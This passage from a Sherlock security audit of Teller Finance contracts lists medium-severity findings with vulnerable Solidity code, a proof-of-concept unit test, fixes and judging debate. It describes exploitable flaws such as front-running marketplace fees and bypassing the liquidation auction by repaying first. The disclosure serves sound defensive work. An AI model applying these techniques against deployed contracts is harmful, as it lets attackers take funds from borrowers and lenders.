The main reasoning for the protocol behind only accepting tokens supported by Uniswap V3 is because the `LenderCommitmentGroup_Smart` requires a Uniswap pool for the expected tokens to be able to price them. This is possible with fee-on-transfer tokens as pools can be created with them, and their price can be fetched.

0x73696d616f

yes as @underdog-sec mentions, only the router is unsupported, pools work just fine.

0xMR0

> Token Integration Issues Fee-on-transfer and rebasing tokens will not function correctly on v3.

Tellor only intends to work with tokens that are compatible with uniswap V3 so fee on transfer tokens are not intended to be used by protocol.

I think, @ethereumdegen can clarify it better.

0x73696d616f

> Tellor only intends to work with tokens that are compatible with uniswap V3 so fee on transfer tokens are not intended to be used by protocol. I think, @ethereumdegen can clarify it better.

I don't know what clarification we need from the sponsor if it was in the readme that this intends to be compatible with Uniswap V3 and it indeed works with Uniswap V3 pools.

nevillehuang

@0x73696d616f @0xMR0 @underdog-sec I might have misjudged this because uniswapV2 has explicit support for FOT in their routers and I assumed the same applies. 2 questions:

1. Is there a current uniswapV3 pool that supports a FOT token?
2. Is the uniswapv3 router contract required for teller to function?

crypticdefense

@nevillehuang

1. Here is an example of a V3 pool where fee-on-transfer token `PAXG` is used: https://etherscan.io/address/0xcb1Abb2731a48D8819f03808013C0a0E48D9B3d9#readContract https://app.uniswap.org/explore/pools/ethereum/0xcb1Abb2731a48D8819f03808013C0a0E48D9B3d9
2. No it is not, at least not in the case of `LenderCommitmentGroup` pools. Only the `UniswapV3Pool` interface is used to fetch the pool values of tokens, ticks, etc.

nevillehuang

Thanks @crypticdefense, based on the above information, I believe this issue should remain valid.

cvetanovv

I disagree with the escalation.

The Uniswap router is incompatible with "Fee-on-transfer tokens", but this does not mean such tokens will not be used in the pool. The protocol is likely to use this type of tokens and should be taken into consideration.

Planning to reject the escalation and leave the issue as is.

Evert0x

Result: Medium Has Duplicates

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- 0xMR0: rejected

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-10: Issue #497 'Add parameter to lender accept bid for MaxMarketFee' from previous audit is still present

Source: https://github.com/sherlock-audit/2024-04-teller-finance-judging/issues/125

Found by

0x3b, 0x73696d616f, 0xDjango, EgisSecurity, pkqs90, samuraii77

Summary

Issue #497 from the previous Sherlock audit was not fixed in the current code and is still present.

Vulnerability Detail

The vulnerability is well explain in the mentionedl link above, essentially any market owner may change the marketplace fee while frontrunning a borrower and getting more funds in return.

A PR with the fix was mentioned in the comments but it was never merged.

From the docs, the issue is valid as long as there is not a `won't fix` label.

Impact

Borrower pays more marketplace fees than expected due to malicious market owner.

Code Snippet

TellerV2::lenderAcceptBid()

```
function lenderAcceptBid(uint256 _bidId)
    ...
{
    ...
    amountToMarketplace = bid.loanDetails.principal.percent(
        marketRegistry.getMarketplaceFee(bid.marketplaceId)
    ...
}
```

SHERLOCK

Tool used

Manual Review

Vscode

Recommendation

The recommendation from issue #497 are good:

> Add a timelock delay for setMarketFeePercent/setProtocolFee allow lenders to specify the exact fees they were expecting as a parameter to lenderAcceptBid

Discussion

nevillehuang

Attaching LSW comments for consideration:

> invalid, it is fixed within the market contract, where there's a max fee param that markets can set.

Can't seem to find logic relating to above and don't see it as per here

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/teller-protocol/teller-protocol-v2-audit-2024/pull/38/files

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-11: Incorrect selector in `FlashRolloverLoan_G5::_acceptCommitment()` does not match `SmartCommitmentForwarder::acceptCommitmentWithRecipient()`

Source:
https://github.com/sherlock-audit/2024-04-teller-finance-judging/issues/135

Found by

0x73696d616f, 0xadrii, EgisSecurity, KupiaSec, dirtymic, kennedy1030, merlin, no

Summary

`FlashRolloverLoan_G5::_acceptCommitment()` allows picking the `SmartCommitmentForwarder`, but the selector is incorrect, making it unusable for `LenderCommitmentGroup_Smart`.

Vulnerability Detail

`FlashRolloverLoan_G5::_acceptCommitment()` accepts the commitment to `SmartCommitmentForwarder` if `_commitmentArgs.smartCommitmentAddress != address(0)`. However, the selector used is `acceptSmartCommitmentWithRecipient()`, which does not match `SmartCommitmentForwarder::acceptCommitmentWithRecipient()`, DoSing the ability to rollover loans for `LenderCommitmentGroup_Smart`.

Impact

`FlashRolloverLoan_G5` will not work for `LenderCommitmentGroup_Smart` loans.

Code Snippet

FlashRolloverLoan_G5::_acceptCommitment()

```
function _acceptCommitment(
    address lenderCommitmentForwarder,
    address borrower,
    address principalToken,
    AcceptCommitmentArgs memory _commitmentArgs
)
    internal
    virtual
    returns (uint256 bidId_, uint256 acceptCommitmentAmount_)
```

```
{
    uint256 fundsBeforeAcceptCommitment = IERC20Upgradeable(principalToken)
        .balanceOf(address(this));



    if (_commitmentArgs.smartCommitmentAddress != address(0)) {

            bytes memory responseData = address(lenderCommitmentForwarder)
                .functionCall(
                    abi.encodePacked(
                        abi.encodeWithSelector(
                            ISmartCommitmentForwarder
                                .acceptSmartCommitmentWithRecipient
                                .selector,
                            _commitmentArgs.smartCommitmentAddress,
                            _commitmentArgs.principalAmount,
                            _commitmentArgs.collateralAmount,
                            _commitmentArgs.collateralTokenId,
                            _commitmentArgs.collateralTokenAddress,
                            address(this),
                            _commitmentArgs.interestRate,
                            _commitmentArgs.loanDuration
                        ),
                        borrower //cant be msg.sender because of the flash flow
                    )
                );

            (bidId_) = abi.decode(responseData, (uint256));
        ...
```

Tool used

Manual Review

Vscode

Recommendation

Insert the correct selector,
`SmartCommitmentForwarder::acceptCommitmentWithRecipient()`.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/teller-protocol/teller-protocol-v2-audit-2024/pull/33

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-12: `FlashRolloverLoan_G5` will fail for `LenderCommitmentGroup_Smart` due to `CollateralManager` pulling collateral from `FlashRolloverLoan_G5`

Source:
https://github.com/sherlock-audit/2024-04-teller-finance-judging/issues/138

Found by

0x73696d616f, 0xadrii, bughuntoor, merlin

Summary

`FlashRolloverLoan_G5` calls `SmartCommitmentForwarder::acceptCommitmentWithRecipient()`, which will have `CollateralManager` commiting tokens from `FlashRolloverLoan_G5`, which will revert as it does not approve it nor have the funds.

Vulnerability Detail

The issue lies in the fact that `FlashRolloverLoan_G5` assumes `SmartCommitmentForwarder` gets the borrower from the last 20 bytes, but it sets the `borrower` to msg.sender instead.

Thus, in `SmartCommitmentForwarder::acceptCommitmentWithRecipient()`, `TellerV2::submitBid()` is called with the borrower being `FlashRolloverLoan_G5`, which will end up having the `CollateralManager` pulling collateral from `FlashRolloverLoan_G5`, which will fail, as it does not deal with this.

Impact

`FlashRolloverLoan_G5` will never work for `LenderCommitmentGroup_Smart` loans.

Code Snippet

https://github.com/sherlock-audit/2024-04-teller-finance/blob/main/teller-protocol-v2-audit-2024/packages/contracts/contracts/LenderCommitmentForwarder/extensions/FlashRolloverLoan_G5.sol#L303 https://github.com/sherlock-audit/2024-04-teller-finance/blob/main/teller-protocol-v2-audit-2024/packages/contracts/contracts/LenderCommitmentForwarder/SmartCommitmentForwarder.sol#L106

Tool used

Manual Review

Vscode

Recommendation

In `FlashRolloverLoan_G5::_acceptCommitment()` pull the collateral from the borrower and approve the `CollateralManager`.

Discussion

ethereumdegen

I believe the fix is described in #31 and the SCF contract just has to inherit ExtensionsContextUpgradeable

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/teller-protocol/teller-protocol-v2-audit-2024/pull/35

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-13: `FlashRolloverLoan_G5` will not work for certain tokens due to not setting the approval to `0` after repaying a loan

Source:
https://github.com/sherlock-audit/2024-04-teller-finance-judging/issues/140

Found by

0x73696d616f, EgisSecurity, MaslarovK.eth, givn, merlin, mgf15

Summary

`FlashRolloverLoan_G5::_repayLoanFull()` approves `TELLER_V2` for `_repayAmount`, but `TELLER_V2` always pulls the principal and interest, possibly leaving some dust approval left. Some tokens revert when trying to set approvals from non null to non null, which will make `FlashRolloverLoan_G5` revert.

Vulnerability Detail

Some `ERC20` tokens must have 0 approval before setting an approval to a non 0 amount, such as USDC.

The interest rises with `block.timestamp`, so borrowers will likely take a flash loan slightly bigger than `_repayAmount` to take this into account, or `repay` will fail.

Thus, when the approval is set for `TellerV2` of the `_principalToken`, `principal + interest` may be less than the approval, which will leave a dust approval.

`FlashRolloverLoan_G5::executeOperation()` later on approves `POOL`, which will revert as a dust amount was left.

Impact

`FlashRolloverLoan_G5` will not work and be DoSed.

Code Snippet

https://github.com/sherlock-audit/2024-04-teller-finance/blob/main/teller-protocol-v2-audit-2024/packages/contracts/contracts/LenderCommitmentForwarder/extensions/FlashRolloverLoan_G5.sol#L243-L245
https://github.com/sherlock-audit/2024-04-teller-finance/blob/main/teller-protocol-v2-audit-2024/packages/contracts/contracts/LenderCommitmentForwarder/extensions/FlashRolloverLoan_G5.sol#L194-L196

Tool used

Manual Review

Vscode

Recommendation

Set the approval to 0 after repaying the loan.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/teller-protocol/teller-protocol-v2-audit-2024/pull/32

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-14: Performing a direct multiplication in `_getPriceFromSqrtX96` will overflow for some uniswap pools

Source: https://github.com/sherlock-audit/2024-04-teller-finance-judging/issues/243

Found by

0x73696d616f, 0xadrii, pkqs90

Summary

The _getPriceFromSqrtX96 will revert for pools that return a _sqrtPriceX96 bigger than type(uint128).max.

Vulnerability Detail

The `LenderCommitmentGroup_Smart` uses the price obtained from the uniswap v3 pool in order to compute the amount of collateral that must be deposited in order to perform a borrow. Currently, the prices are fetched via the `_getUniswapV3TokenPairPrice` function:

```
// LenderCommitmentGroup_Smart.sol
function _getUniswapV3TokenPairPrice(uint32 _twapInterval)
        internal
        view
        returns (uint256)
    {
        // represents the square root of the price of token1 in terms of token0

        uint160 sqrtPriceX96 = getSqrtTwapX96(_twapInterval);

        //this output is the price ratio expanded by 1e18
        return _getPriceFromSqrtX96(sqrtPriceX96);
    }
```

This function will perform two actions:

1. Get the `sqrtPriceX96` from the uniswap pool by querying the pool's TWAP or the pool's `slot0` function. It is important to note that the returned `sqrtPriceX96` is a `uint160` value that **can store numbers bigger than 128 bits:**

    ```
    // LenderCommitmentGroup_Smart.sol

    function getSqrtTwapX96(uint32 twapInterval)
    ```

```
        public
        view
        returns (uint160 sqrtPriceX96)
    {
        if (twapInterval == 0) {
            // return the current price if twapInterval == 0
            (sqrtPriceX96, , , , , , ) = IUniswapV3Pool(UNISWAP_V3_POOL)
                .slot0();
        } else {
            uint32[] memory secondsAgos = new uint32[](2);
            secondsAgos[0] = twapInterval; // from (before)
            secondsAgos[1] = 0; // to (now)

            (int56[] memory tickCumulatives, ) =
↪   IUniswapV3Pool(UNISWAP_V3_POOL)
                .observe(secondsAgos);

            // tick(imprecise as it's an integer) to price
            sqrtPriceX96 = TickMath.getSqrtRatioAtTick(
                int24(
                    (tickCumulatives[1] - tickCumulatives[0]) /
                        int32(twapInterval)
                )
            );
        }
    }
```

2. After obtaining the `sqrtPriceX96` , the `priceX96` will be obtained by multiplying `sqrtPriceX96` by itself and dividing it by `(2**96)` :

```
// LenderCommitmentGroup_Smart.sol
function _getPriceFromSqrtX96(uint160 _sqrtPriceX96)
        internal
        pure
        returns (uint256 price_)
    {

        uint256 priceX96 = (uint256(_sqrtPriceX96) *
↪   uint256(_sqrtPriceX96)) /
            (2**96);

        // sqrtPrice is in X96 format so we scale it down to get the price
        // Also note that this price is a relative price between the two
↪   tokens in the pool
        // It's not a USD price
        price_ = priceX96;
    }
```

The problem is that the `_getPriceFromSqrtX96` performs a direct multiplication between `_sqrtPriceX96` by itself. As mentioned in step 1, this multiplication can lead to overflow because the `_sqrtPriceX96` value returned by the Uniswap pool **can be a numer larger than 128 bits.**

As an example, take Uniswap's WBTC/SHIBA pool and query `slot0`. At timestamp **1714392894,** the `slot0` value returned is 380146371870332863053439965317548561928, which is a 129 bit value. When the `_getPriceFromSqrtX96` gets executed for the WBTC/SHIBA pool, an overflow will always occur because a multiplication of two 129-bit integers surpasses 256 bits.

Note how this is also handled in Uniswap's official Oracle Library] contract, where a check is performed to ensure that no overflows can occur.

Impact

Medium. Some uniswap pool's will be unusable and will DoS in LenderCommitmentGroup_Smart because the uniswap price computations will always overflow.

Code Snippet

https://github.com/sherlock-audit/2024-04-teller-finance/blob/main/teller-protocol-v2-audit-2024/packages/contracts/contracts/LenderCommitmentForwarder/extensions/LenderCommitmentGroup/LenderCommitmentGroup_Smart.sol#L559

Tool used

Manual Review

Recommendation

Use Uniswap's Fullmath library to perform the multiplication in `_getPriceFromSqrtX96`, which already handles this situation:

```
// LenderCommitmentGroup_Smart.sol
function _getPriceFromSqrtX96(uint160 _sqrtPriceX96)
        internal
        pure
        returns (uint256 price_)
    {

-        uint256 priceX96 = (uint256(_sqrtPriceX96) * uint256(_sqrtPriceX96)) /
-             (2**96);
+        uint256 priceX96 = FullMath.mulDiv(uint256(_sqrtPriceX96),
↪  uint256(_sqrtPriceX96), (2**96);

        // sqrtPrice is in X96 format so we scale it down to get the price
        // Also note that this price is a relative price between the two tokens
↪  in the pool
        // It's not a USD price
        price_ = priceX96;
    }
```

Discussion

spaceglidererrr

Escalate

In order to overflow we need `sqrtPriceX96 * sqrtPriceX96` to be larger than uint256.max. This means that `tokenPrice * 2^192` must exceed 2^256, or we need `tokenPrice >= 2^64` or `tokenPrice >= ~1e18`. This requires 1 wei of token0 to be worth >1e18 wei of token1, which is absolutely unrealistic edge case scenario. Issue should be low.

sherlock-admin3

> Escalate
>
> In order to overflow we need `sqrtPriceX96 * sqrtPriceX96` to be larger than uint256.max. This means that `tokenPrice * 2^192` must exceed 2^256, or we need `tokenPrice >= 2^64` or `tokenPrice >= ~1e18`. This requires 1 wei of token0 to be worth >1e18 wei of token1, which is absolutely unrealistic edge case scenario. Issue should be low.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

0x73696d616f

@spaceglidererrr it also takes the decimal difference between tokens into account, that is why it is likely to happen for some pools.

nevillehuang

@spaceglidererrr Any direct arguments for the example provided in the issue above? If not I believe this issue should remain valid

> As an example, take Uniswap's WBTC/SHIBA pool and query slot0. At timestamp 1714392894, the slot0 value returned is 380146371870332863053439965317548561928, which is a 129 bit value. When the _getPriceFromSqrtX96 gets executed for the WBTC/SHIBA pool, an overflow will always occur because a multiplication of two 129-bit integers surpasses 256 bits.

cvetanovv

@0xadrii has given a good example of how some Uniswap pools may not be usable by the protocol due to overflow. We can also see how Uniswap has handled this.

Planning to reject the escalation and leave the issue as is.

Evert0x

Result: Medium Has Duplicates

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- spaceglider rrrr: rejected

ethereumdegen

ok i will fix this -- the fix is just to use that math lib call correct?

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/teller-protocol/teller-protocol-v2-audit-2024/pull/46

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-15: `LenderCommitmentGroup_Smart.sol` cannot deploy pools with non-string symbol() ERC20s.

Source:
https://github.com/sherlock-audit/2024-04-teller-finance-judging/issues/269

Found by

BoRonGod, EgisSecurity, pkqs90

Summary

In `LenderCommitmentGroup_Smart.sol`, when initializing, it needs to fetch the `symbol()` for the principalToken and collateralToken. However, it assumes the `symbol()` returns a string, which is actually OPTIONAL for ERC20 standards. This means it would fail to create pools for these ERC20s.

Vulnerability Detail

First, let's quote the EIP20 to show `symbol()` is optional:

> symbol
>
> Returns the symbol of the token. E.g. "HIX".
>
> OPTIONAL - This method can be used to improve usability, but interfaces and other contracts MUST NOT expect these values to be present.
>
> function symbol() public view returns (string)

The most famous token that uses bytes32 instead of string as `symbol()` return value is MKR.

The contest README states that any tokens compatible with Uniswap V3 should be supported, which includes MKR: https://info.uniswap.org/#/tokens/0x9f8f72aa9304c8b593d555f12ef6589cc3a579a2

> We are allowing any standard token that would be compatible with Uniswap V3 to work with our codebase, just as was the case for the original audit of TellerV2.sol. The tokens are assumed to be able to work with Uniswap V3.

At last, let's see the code. `_generateTokenNameAndSymbol` assumes that both principalToken and collateralToken has a `symbol()` function that returns `string`, which is inaccurate. This would revert if we try to create a pool with MKR.

```
    function _generateTokenNameAndSymbol(address principalToken, address
 ↪  collateralToken)
    internal view
    returns (string memory name, string memory symbol) {
        // Read the symbol of the principal token
>       string memory principalSymbol = ERC20(principalToken).symbol();

        // Read the symbol of the collateral token
>       string memory collateralSymbol = ERC20(collateralToken).symbol();

        // Combine the symbols to create the name
        name = string(abi.encodePacked("GroupShares-", principalSymbol, "-",
 ↪  collateralSymbol));

        // Combine the symbols to create the symbol
        symbol = string(abi.encodePacked("SHR-", principalSymbol, "-",
 ↪  collateralSymbol));
    }
```

Impact

`LenderCommitmentGroup_Smart` pools cannot be created for ERC20s that does not implement `function symbol() public view returns (string)`.

Code Snippet

- https://github.com/sherlock-audit/2024-04-teller-finance/blob/main/teller-protocol-v2-audit-2024/packages/contracts/contracts/LenderCommitmentForwarder/extensions/LenderCommitmentGroup/LenderCommitmentGroup_Smart.sol#L241-L255

Tool used

Manual review

Recommendation

Consider using a try-catch, an example would be:

```
function computeSymbol(
    address token
) external view returns (string memory) {
    try IERC20Metadata(token).symbol() returns (string memory tokenSymbol) {
        return tokenSymbol;
    } catch {
        return "???";
    }
}
```

Discussion

ethereumdegen

I dont think a try catch will work because if the token doesnt implement that fn at all , it will still revert. hm.

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/teller-protocol/teller-protocol-v2-audit-2024/pull/36

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-16: The cycle payment due may span over approx. 2 cycles and block the borrower from paying

Source:
https://github.com/sherlock-audit/2024-04-teller-finance-judging/issues/285

Found by

CodeWasp

Summary

If a borrower makes the expected cycle payment early in the first payment cycle and then tries to make the cycle payment in the second cycle, the payment reverts, due to insufficient amount.

Vulnerability Detail

Consider the following bid parameters:

- Principal amount: `30000`
- acceptedTimestamp: `100`
- lastRepaidTimestamp: `100 + 1 * 24 * 3600` (1 day after the bid was accepted)
- loanDuration: `3 * 30 * 24 * 3600` (3 months)
- totalRepaid: `Payment({ principal: 10000, interest: 200 })`
- Terms: paymentCycleAmount: `10000` (pay `10000` each month) paymentCycle: `30 * 24 * 3600` (1 month) APR: `1200` (12%)
- State: `BidState.PENDING`
- paymentType: `PaymentType.EMI`

In our example, the borrower has already paid the minimum amount for the first month, 1 day after the bid was accepted, by calling `repayLoan(bidId, 10000)`. Now, the borrower calls `TellerV2::repayLoanMinimum` to make their regular payment on the day 58, that is, `block.timestamp == 100 + 58 * 24 * 3600`. Since the borrower has paid for the first month already, they would expect the minimum amount to be `10000` plus interest, that is, the payment for the second cycle. However, the call to `TellerV2::repayLoanMinimum` reverts, if the borrower approves only `10000` plus interest (below `300`).

The call reverts, as the minimum expected payment is now `19000`, which is close to the total owed amount (`20000` + interest). This can be clearly seen, when the borrower calls `repayLoan(bidId, 10000 + 300)`:

```
[Revert] PaymentNotMinimum(1, 10300 [1.03e4], 19000 [1.9e4])
```

The root cause of this issue is the computation in `V2Calculations::calculateAmountOwed`:

```
>> uint256 owedTime = _timestamp - uint256(_lastRepaidTimestamp);
   ...
   if (_bid.paymentType == PaymentType.Bullet) {
     ...
   } else {
        // Default to PaymentType.EMI
        // Max payable amount in a cycle
        // NOTE: the last cycle could have less than the calculated payment
↪    amount
        uint256 owedAmount = isLastPaymentCycle
            ? owedPrincipal_ + interest_
>>          : (_bid.terms.paymentCycleAmount * owedTime) /
                _paymentCycleDuration;

        duePrincipal_ = Math.min(owedAmount - interest_, owedPrincipal_);
   }
```

Basically, when the difference between two payments in `owedTime` is closer to two cycles, the borrower has to make two payment, notwithstanding the actual payment schedule.

A detailed unit test using `TellerV2_Override`:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { StdStorage, stdStorage } from "forge-std/StdStorage.sol";
import { Testable } from "../Testable.sol";
import { TellerV2_Override } from "./TellerV2_Override.sol";

import { Bid, BidState, Collateral, Payment, LoanDetails, Terms,
↪   ActionNotAllowed } from "../../contracts/TellerV2.sol";
import { PaymentType, PaymentCycleType } from
↪   "../../contracts/libraries/V2Calculations.sol";

import { ReputationManagerMock } from
↪   "../../contracts/mock/ReputationManagerMock.sol";
import { CollateralManagerMock } from
↪   "../../contracts/mock/CollateralManagerMock.sol";
import { LenderManagerMock } from "../../contracts/mock/LenderManagerMock.sol";
import { MarketRegistryMock } from "../../contracts/mock/MarketRegistryMock.sol";

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

import "../tokens/TestERC20Token.sol";

import "lib/forge-std/src/console.sol";

contract audit_TellerV2_bids_test is Testable {
using stdStorage for StdStorage;

TellerV2_Override tellerV2;

TestERC20Token lendingToken;

TestERC20Token lendingTokenZeroDecimals;

User borrower;
User lender;
User receiver;

User marketOwner;

User feeRecipient;

MarketRegistryMock marketRegistryMock;

ReputationManagerMock reputationManagerMock;
CollateralManagerMock collateralManagerMock;
LenderManagerMock lenderManagerMock;

uint256 marketplaceId = 100;

//have to copy and paste events in here to expectEmit
event SubmittedBid(
    uint256 indexed bidId,
    address indexed borrower,
    address receiver,
    bytes32 indexed metadataURI
);

function setUp() public {
    tellerV2 = new TellerV2_Override();

    marketRegistryMock = new MarketRegistryMock();
    reputationManagerMock = new ReputationManagerMock();
    collateralManagerMock = new CollateralManagerMock();
    lenderManagerMock = new LenderManagerMock();

    borrower = new User();
    lender = new User();
    receiver = new User();

    marketOwner = new User();
    feeRecipient = new User();

    lendingToken = new TestERC20Token("Wrapped Ether", "WETH", 1e30, 18);
    lendingTokenZeroDecimals = new TestERC20Token(
        "Wrapped Ether",
        "WETH",
        1e16,
        0
    );
}

function setMockBid(uint256 bidId) public {
    tellerV2.mock_setBid(
        bidId,
        Bid({
            borrower: address(borrower),
            lender: address(lender),
            receiver: address(receiver),
            marketplaceId: marketplaceId,
            _metadataURI: "0x1234",
            loanDetails: LoanDetails({
                lendingToken: lendingToken,
                principal: 30000,
                timestamp: 100,
                acceptedTimestamp: 100,
                lastRepaidTimestamp: 100 + 1 * 24 * 3600, // 1 day after
                loanDuration: 3 * 30 * 24 * 3600, // 3 months
                totalRepaid: Payment({ principal: 10000, interest: 200 })
            }),
            terms: Terms({
                paymentCycleAmount: 10000,      // pay 10000
                paymentCycle: 30 * 24 * 3600,   // each month
                APR: 1200                       // 12%
            }),
            state: BidState.PENDING,
            paymentType: PaymentType.EMI
        })
    );
}
function test_repay_loan_close_to_two_months() public {
    uint256 bidId = 1;
    setMockBid(bidId);

    tellerV2.mock_setBidState(bidId, BidState.ACCEPTED);
    // warp by 58 days since the bid was accepted
    vm.warp(100 + 58 * 24 * 3600);

    assertEq(block.timestamp, 100 + 58 * 24 * 3600);

    //set the account that will be paying the loan off
    tellerV2.setMockMsgSenderForMarket(address(this));

    // approve the next payment + interest

    lendingToken.approve(address(tellerV2), 10000 + 300);

    // this call reverts
    tellerV2.repayLoan(bidId, 10000 + 300);
    assertTrue(tellerV2.repayLoanWasCalled(), "repay loan was not called");
}

}

contract User {}
```

Impact

The borrower is unable to make the payment for the current payment cycle, even though they have sufficient funds to do so. Unless the user makes the payment of approximately two payment cycles (instead of one), their loan would be liquidated, and they would lose the collateral.

Code Snippet

https://github.com/sherlock-audit/2024-04-teller-finance/blob/main/teller-protocol-v2-audit-2024/packages/contracts/contracts/TellerV2.sol#L639-L644

https://github.com/sherlock-audit/2024-04-teller-finance/blob/main/teller-protocol-v2-audit-2024/packages/contracts/contracts/TellerV2.sol#L600-L620

https://github.com/sherlock-audit/2024-04-teller-finance/blob/main/teller-protocol-v2-audit-2024/packages/contracts/contracts/libraries/V2Calculations.sol#L70-L131

Tool used

Manual Review

Recommendation

Use the payment schedule as computed by `V2Calculations::calculateNextDueDate` in `V2Calculations::calculateAmountOwed`. I would expect that if the borrower owes a payment for the current cycle, this should be their minimum due amount (plus interest).

Discussion

ethereumdegen

I think this is actually something we would like to fix related to the style of cycle as it is odd.

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/teller-protocol/teller-protocol-v2-audit-2024/pull/42

0x73696d616f

@nevillehuang is this in scope? It is out of scope according to the files in the readme. This was the response of the watson.

> The issue manifests itself via external calls of TellerV2, e.g., repayLoanMinimum. As a result, the borrower cannot pay their loan and loses the collateral. The root cause is in V2Calculations but the issue is in how TellerV2 is using V2Calculations.

I understand what it means but I would like some clarity. Some people like me did not even look at this file due to this fact. I would like to know the standard/rule here so I can take this into consideration going forward.

nevillehuang

@0x73696d616f

potential issues in the libraries won't automatically be out of scope based on sherlock scoping details. Just letting you know for your future contests.

> 2. In case the vulnerability exists in a library and an in-scope contract uses it and is affected by this bug this is a valid issue.

0x73696d616f

Thank you! Thought so that is why I did not escalate.

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-17: Users can bypass auction mechanism for `LenderCommitmentGroup_Smart` liquidation mechanism for loans that are close to end of loan

Source:
https://github.com/sherlock-audit/2024-04-teller-finance-judging/issues/289

Found by

pkqs90

Summary

`LenderCommitmentGroup_Smart` has an auction mechanism for users to help liquidate default loans. The auction begins from 8x of amountOwed gradually decreasing to 0x. However, for loans that are close to end of loan, users can bypass this mechanism and pay only 1x of amountOwed to perform liquidation.

Vulnerability Detail

For loans that are close to end of loan, the calculated due date and default timestamp will not change upon a repay. See function `getLoanDefaultTimestamp()` which calls `calculateNextDueDate()`. If the calculated `dueDate` is larger than `endOfLoan`, the due date will return `endOfLoan`.

```
    function getLoanDefaultTimestamp(uint256 _bidId)
        public
        view
        returns (uint256)
    {
        Bid storage bid = bids[_bidId];

        uint32 defaultDuration = _getBidDefaultDuration(_bidId);

        uint32 dueDate = calculateNextDueDate(_bidId);

        return dueDate + defaultDuration;
    }

    function calculateNextDueDate(
        uint32 _acceptedTimestamp,
        uint32 _paymentCycle,
        uint32 _loanDuration,
        uint32 _lastRepaidTimestamp,
        PaymentCycleType _bidPaymentCycleType
    ) public view returns (uint32 dueDate_) {
        ...
        uint32 endOfLoan = _acceptedTimestamp + _loanDuration;
        //if we are in the last payment cycle, the next due date is the end of
 ↪  loan duration
>       if (dueDate_ > endOfLoan) {
>           dueDate_ = endOfLoan;
>       }
    }
```

This means for a loan that is close to the end of loan, and is already default. The normal way to liquidate would be participating the auction using `liquidateDefaultedLoanWithIncentive()`.

However, a user can first repay the collateral by `TellerV2#repayLoanFullWithoutCollateralWithdraw` and make the amountOwed equal to zero, then call `liquidateDefaultedLoanWithIncentive()` and pass `_tokenAmountDifference == 0`. Since the due date does not change upon a repay, the loan is still in default, and the user can successfully perform the liquidation.

If the user participated the auction, he would have to pay 8x the amount of tokens. However, by repaying in TellerV2, he only needs to pay 1x and can perform the liquidation.

```
    function liquidateDefaultedLoanWithIncentive(
        uint256 _bidId,
        int256 _tokenAmountDifference
    ) public bidIsActiveForGroup(_bidId) {
>       uint256 amountDue = getAmountOwedForBid(_bidId, false);

        uint256 loanDefaultedTimeStamp = ITellerV2(TELLER_V2)
            .getLoanDefaultTimestamp(_bidId);

>       int256 minAmountDifference =
 ↪  getMinimumAmountDifferenceToCloseDefaultedLoan(
>               amountDue,
>               loanDefaultedTimeStamp
            );

        require(
            _tokenAmountDifference >= minAmountDifference,
            "Insufficient tokenAmountDifference"
        );

        if (_tokenAmountDifference > 0) {
            //this is used when the collateral value is higher than the
↪   principal (rare)
            //the loan will be completely made whole and our contract gets extra
↪   funds too
            uint256 tokensToTakeFromSender = abs(_tokenAmountDifference);

            IERC20(principalToken).transferFrom(
                msg.sender,
                address(this),
                amountDue + tokensToTakeFromSender
            );

            tokenDifferenceFromLiquidations += int256(tokensToTakeFromSender);

            totalPrincipalTokensRepaid += amountDue;
        } else {

            uint256 tokensToGiveToSender = abs(_tokenAmountDifference);

>           IERC20(principalToken).transferFrom(
                msg.sender,
                address(this),
                amountDue - tokensToGiveToSender
            );

            tokenDifferenceFromLiquidations -= int256(tokensToGiveToSender);

            totalPrincipalTokensRepaid += amountDue;
        }

        //this will give collateral to the caller
        ITellerV2(TELLER_V2).lenderCloseLoanWithRecipient(_bidId, msg.sender);
    }
```

Impact

For loans that are close to end of loan, users can bypass auction mechanism and pay only 1x of amountOwed to perform liquidation.

Code Snippet

- https://github.com/sherlock-audit/2024-04-teller-finance/blob/main/teller-protocol-v2-audit-2024/packages/contracts/contracts/LenderCommitmentForwarder/extensions/LenderCommitmentGroup/LenderCommitmentGroup_Smart.sol#L422

- https://github.com/sherlock-audit/2024-04-teller-finance/blob/main/teller-protocol-v2-audit-2024/packages/contracts/contracts/TellerV2.sol#L1234-L1246
- https://github.com/sherlock-audit/2024-04-teller-finance/blob/main/teller-protocol-v2-audit-2024/packages/contracts/contracts/libraries/V2Calculations.sol#L212-L214

Tool used

Manual review

Recommendation

If a loan is already close to end of loan date, only allow the lender to repay.

Discussion

ethereumdegen

Can you elaborate on why this is a problem and what the code fix should be ? perhaps with tests before and after? i dont understand. thanks .

Seems weird to say that them fully paying the loan is a problem.

ethereumdegen

Ok i think this actually may pose a problem. if the price of the collateral goes up super high, it could become a race to make these two calls . the issue is that ANYONE can repay the loan for 1x , not that the original borrower can .

We may need to a way to allow the lender group contract to 'close' defaulted loans (that are owed to it) in such a way as to prevent anyone repaying them and thus arbitrarily modifying the "getAmountDue" to mess with this liquidation calculation

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/teller-protocol/teller-protocol-v2-audit-2024/pull/41

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

